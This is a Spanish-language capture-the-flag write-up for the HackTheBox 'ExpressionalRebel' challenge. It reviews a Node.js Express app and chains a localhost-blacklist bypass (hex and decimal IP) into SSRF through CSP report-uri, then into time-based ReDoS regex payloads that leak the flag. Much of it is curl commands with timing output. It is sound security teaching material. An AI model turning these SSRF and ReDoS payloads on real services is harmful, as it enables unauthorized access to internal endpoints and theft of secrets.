ExpressionalRebel
6 minutos de lectura
Tenemos una aplicación web que evalúa las restricciones de Content Security Policy (CSP) que le pongamos:
Análisis de código fuente
También tenemos el proyecto, que es una aplicación hecha en Node.js con Express. Podemos ver algunas rutas en routes/api.js
:
const express = require('express')
const router = express.Router()
const { evaluateCsp } = require('../utils')
router.post('/evaluate', async (req, res) => {
const { csp } = req.body
try {
const cspIssues = await evaluateCsp(csp)
res.json(cspIssues)
} catch (error) {
res.status(400).send()
}
})
module.exports = router
Y también en routes/index.js
:
const express = require('express')
const router = express.Router()
const isLocal = require('../middleware/isLocal.middleware')
const { validateSecret } = require('../utils')
router.get('/', (req, res) => {
res.render('home')
})
router.get('/deactivate', isLocal, async (req, res) => {
const { secretCode } = req.query
if (secretCode) {
const success = await validateSecret(secretCode)
res.render('deactivate', { secretCode, success })
} else {
res.render('deactivate', { secretCode })
}
})
module.exports = router
Hay un middleware que verifica que /deactivate
se llama desde localhost
. El archivo está en middleware/isLocal.middleware.js
:
module.exports = function isLocal(req, res, next) {
if (req.socket.remoteAddress === '127.0.0.1' && req.header('host') === '127.0.0.1:1337') {
next()
} else {
res.status(401)
res.render('unauthorized')
}
}
Otro archivo interesante está en utils/index.js
. Aquí muestro las funcionalidades más interesantes:
const regExp = require('time-limited-regular-expressions')({ limit: 2 })
const { CspEvaluator } = require('csp_evaluator/dist/evaluator.js')
const { CspParser } = require('csp_evaluator/dist/parser.js')
const { Finding } = require('csp_evaluator/dist/finding')
const { parse } = require('url')
const { env } = require('process')
const http = require('http')
const isLocalhost = async url => {
let blacklist = ['localhost', '127.0.0.1']
let hostname = parse(url).hostname
return blacklist.includes(hostname)
}
const httpGet = url => {
return new Promise((resolve, reject) => {
http
.get(url, res => {
res.on('data', () => {
resolve(true)
})
})
.on('error', reject)
})
}
const cspReducer = csp => { /* snip */ }
const checkReportUri = async uris => {
if (uris === undefined || uris.length < 1) return
if (uris.length > 1) {
return new Finding(405, 'Should have only one report-uri', 100, 'report-uri')
}
if (await isLocalhost(uris[0])) {
return new Finding(310, 'Destination not available', 50, 'report-uri', uris[0])
}
if (uris.length === 1) {
try {
await httpGet(uris[0])
} catch (error) {
return new Finding(310, 'Destination not available', 50, 'report-uri', uris[0])
}
}
}
const evaluateCsp = async csp => { /* snip */ }
const validateSecret = async secret => {
try {
const match = await regExp.match(secret, env.FLAG)
return !!match
} catch (error) {
return false
}
}
module.exports = {
evaluateCsp,
validateSecret
}
Vemos que hay una función que realiza una petición GET a una URL dada (httpGet
). Además, hay una validación en caso de que una URL sea localhost
o 127.0.0.1
.
Bypass de lista negra
Lo primero que hay que notar es que nos podemos saltar esta lista negra fácilmente poniendo la dirección IP 127.0.0.1
como número decimal o hexadecimal (2130706433 ó 0x7f000001
).
Hay una llamada a httpGet
dentro de checkReportUri
. Esta segunda función verifica las URL que hay en los campos de CSP llamados report-uri
. Podemos poner un report-uri
que apunte a localhost
para realizar un ataque de Server-Side Request Forgery (SSRF), por ejemplo:
Content-Security-Policy: report-uri http://0x7f000001:1337
Como tenemos el proyecto en Node.js y un Dockerfile
, esto se puede probar añadiendo algunos console.log
en el código del contenedor de Docker, y se ve que funciona. Ahora podemos llamar a /deactivate
mediante un ataque de SSRF.
Ataque ReDoS
La ruta /deactivate
permite añadir una expresión regular que será probada contra la flag. El uso del módulo time-limited-regular-expressions
es una especie de pista, y de hecho nos ayudará para el proceso de exfiltración.
Aquí necesitamos efectuar lo que se llama Denegación de Servicio mediante expresiones regulares (ReDoS). Podemos utilizar una metodología basada en tiempo para extraer la flag carácter a carácter. La idea es utilizar una expresión regular que tome muchísimo tiempo en completarse si coincide, y muy poco tiempo si no coincide.
El uso de time-limited-regular-expressions
limita el tiempo de procesamiento a 2 segundos, lo cual será útil para la automatización del proceso de exfiltración.
La flag se puede obtener de dos maneras. La primera es de izquierda a derecha, utilizando una expresión regular como esta:
^HTB\{f((((((.)*)*)*)*)*)*!
Pruebas
Esta expresión regular tomará mucho tiempo en calcularse si el primer carácter del contenido de la flag es una f
(recordemos que las flags tienen un formato HTB{...}
). Si no, la expresión regular se procesará inmediatamente. Aquí tenemos una prueba:
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=^HTB\\{f((((((.)*)*)*)*)*)*!"}' > /dev/null
2,04 real 0,00 user 0,00 sys
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=^HTB\\{a((((((.)*)*)*)*)*)*!"}' > /dev/null
0,04 real 0,01 user 0,00 sys
No obstante, este procedimiento no funciona para conseguir la flag entera, solamente podemos exfiltrar algunos caracteres. Estamos utilizando la flag de pruebas (HTB{f4k3_fl4g_f0r_t3st1ng}
). Hay un punto en el que el tiempo de procesamiento no es lo suficientemente elevado como para distinguir los caracteres correctos:
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=^HTB\\{f4k3_fl4g_f0((((((.)*)*)*)*)*)*!"}' > /dev/null
2,05 real 0,00 user 0,00 sys
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=^HTB\\{f4k3_fl4g_f0r((((((.)*)*)*)*)*)*!"}' > /dev/null
1,43 real 0,00 user 0,00 sys
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=^HTB\\{f4k3_fl4g_f0r_((((((.)*)*)*)*)*)*!"}' > /dev/null
0,30 real 0,01 user 0,00 sys
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=^HTB\\{f4k3_fl4g_f0r_t((((((.)*)*)*)*)*)*!"}' > /dev/null
0,09 real 0,01 user 0,00 sys
Esto ocurre porque los caracteres que quedan por extraer no son suficientes para que la expresión regular tarde mucho en calcularse.
Por tanto, necesitamos extraer la flag de derecha a izquierda. La expresión regular utilizada es similar:
(((.)*)*)*[^g]\}$
Esta tomará mucho tiempo en finalizar (limitado a 2 segundos) si la última letra no es una g
(si fuera una g
terminaría inmediatamente). Aquí hemos tenido que negar la condición porque vamos a iterar sobre todos los caracteres imprimibles y queremos que el correcto tarde mucho tiempo, en lugar de que los incorrectos tarden 2 segundos cada uno (podría ser interminable). Aquí tenemos una prueba:
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=(((.)*)*)*[^g]\\}$"}' > /dev/null
2,04 real 0,00 user 0,00 sys
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=(((.)*)*)*[^a]\\}$"}' > /dev/null
0,04 real 0,01 user 0,00 sys
De nuevo, este método no es suficiente para conseguir la flag entera:
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=(((.)*)*)*[^4]g_f0r_t3st1ng\\}$"}' > /dev/null
2,04 real 0,01 user 0,00 sys
$ time curl 127.0.0.1:1337/api/evaluate -sH 'Content-Type: application/json' -d '{"csp":"report-uri http://0x7f000001:1337/deactivate?secretCode=(((.)*)*)*[^x]g_f0r_t3st1ng\\}$"}' > /dev/null
2,04 real 0,01 user 0,00 sys
Pero podemos juntar ambos resultados: HTB{f4k3_fl4g_f0r_t
y g_f0r_t3st1ng}
y obtener la flag entera.
Podemos automatizar el proceso de exfiltración utilizando este script en Go: redos.go
(explicación detallada aquí). Podemos utilizarlo de esta manera en local:
$ go run redos.go 127.0.0.1:1337
[+] Frontflag: HTB{f4k3_fl4g_f0r
[+] Backflag: f0r_t3st1ng}
[*] Found a match between frontflag and backflag
[!] Flag: HTB{f4k3_fl4g_f0r_t3st1ng}
Mejoras
Para ejecutarlo en la instancia remota, la segunda expresión regular se sustituye por esta:
^HTB\{.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?[^g]\}$
Funciona mucho mejor. Utilizamos 50 .?
y eliminamos uno cada vez que tengamos otro carácter de la flag.
Flag
Si lo ejecutamos en el servidor, obtenemos la flag:
$ go run redos.go 167.99.202.131:31069
[+] Frontflag: HTB{b4cKtR4ck1ng_4Nd_P4rs3Rs_4r
[+] Backflag: ck1ng_4Nd_P4rs3Rs_4r3_fuNnY}
[*] Found a match between frontflag and backflag
[!] Flag: HTB{b4cKtR4ck1ng_4Nd_P4rs3Rs_4r3_fuNnY}
El script completo se puede encontrar aquí: redos.go
.